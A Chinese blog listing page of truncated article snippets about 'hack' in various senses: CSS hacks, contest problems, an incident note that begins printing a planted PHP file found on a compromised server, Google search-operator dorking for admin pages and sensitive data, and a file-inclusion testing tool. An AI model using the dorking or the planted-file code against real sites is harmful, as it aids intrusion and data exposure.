某天收到电信网监的邮件通知，内容是我们一个网站被***，有个链接显示“×××”信息。命令立即修复。解决过程：1、查看服务器，发现服务器根目录下多出show1.php,show2,php.info.php三个文件，内容相同。内容如下：<?phpset_time_limit(0);$url1=$_SERVER[‘PHP_SELF‘];$name=substr($url1,strrp
分类：
Web程序 时间：
2018-07-04 11:43:51
阅读次数：
208
题目背景 感谢@kczno1 @X_o_r 提供hack数据 题目描述 iPig在假期来到了传说中的魔法猪学院，开始为期两个月的魔法猪训练。经过了一周理论知识和一周基本魔法的学习之后，iPig对猪世界的世界本原有了很多的了解：众所周知，世界是由元素构成的；元素与元素之间可以互相转换；能量守恒……。 ...
分类：
其他好文 时间：
2018-06-29 20:36:08
阅读次数：
147
透明度 背景透明度 1. css hack 2. css 设置圆角 3. css 盒子阴影 (x,y,阴影模糊度,阴影颜色) 4. css 透明度 5. css 文本超出范围省略号代替 ( 块级元素，强制单行) 6. css 设置背景透明 7. css 文字中间划横线效果 8. css 背景图片定位 ...
分类：
Web程序 时间：
2018-06-27 17:28:39
阅读次数：
239
解题思路 1. 将骑士按力量从小到大排序，到第i个骑士的时候，前面的i 1个骑士他都可以击败，找出金币最多的k个。 2. 用multiset存金币最多的k个骑士的金币数，如果多余k个，则删除金币数最小的，直到只有k个数字。 我就是因为没有用multiset在最后5分钟被hack了。 代码 c++ i ...
分类：
其他好文 时间：
2018-06-17 13:42:10
阅读次数：
256
0x00前言： 做Hack the box的题。感觉那个平台得开个VIp 不然得凉。一天只能重置一次。。。mmp 做的那题毒药是文件包含漏洞的题，涉及到了某个工具 看的不错就开发了一个。 0x01代码： 测试： 思路： 先检测各种协议，然后测试远程包含漏洞 原本还有一个检测路径的，但是跑起来太慢。 ...
分类：
编程语言 时间：
2018-06-17 12:32:27
阅读次数：
212
1. GoogleHacking概述 即所谓利用浏览器对搜索关键字的语法构造，更加精确地找出想要的信息。 2. 常用的GoogleHacking filetype: 指定搜索文件的格式。例如搜索 “ 网络安全 filetype：pdf ”，则会出现网络安全有关的pdf文件。 intitle： 指定网 ...
分类：
其他好文 时间：
2018-06-16 22:40:31
阅读次数：
277
CSS hack是通过在CSS样式中加入一些特殊的符号，让不同的浏览器识别不同的符号（什么样的浏览器识别什么样的符号是有标准的，CSS hack就是让你记住这个标准），以达到应用不同的CSS样式的目的，比如.kwstu{width:300px;_width:200px;}，一般浏览器会先给元素使用w ...
分类：
Web程序 时间：
2018-06-15 19:06:59
阅读次数：
201
最近中考放假几天都在怼一道 BJOI2018 的水题，但 卡死在90pts 跑不动啊！ 然后今天发现终于过了~~然而Hack的数据全RE了~~然后就开始找新的题目来找回信心。 然后发现智能推荐里有这道题，然后 想了1min才想到CQOI到底是哪里的 ~~原来是重庆呵~~ 其实还是一道比较好的 除法分 ...
分类：
其他好文 时间：
2018-06-12 21:02:49
阅读次数：
194
了解谷歌搜索语法(google hack) 学习谷歌搜索语法的作用: 找后台、找敏感信息、观察目录结构等等。。 1. site: 搜索指定域名下的内容 站点: 网页链接 1.site: 网页链接 2.site: nem-cn.com 2.inurl: 搜索URL中存在的内容 3.intitle: 搜 ...
分类：
其他好文 时间：
2018-06-10 20:08:48
阅读次数：
222
使用background-attachment: fixed;使背景图片固定 这是css的属性，所有浏览器都支持 background-attachment 属性。 但是在ios和一些移动端对background-attachment: fixed支持的不好，但可以hack一下。： 总结：移动端要固 ...
分类：
其他好文 时间：
2018-06-08 12:00:27
阅读次数：
106
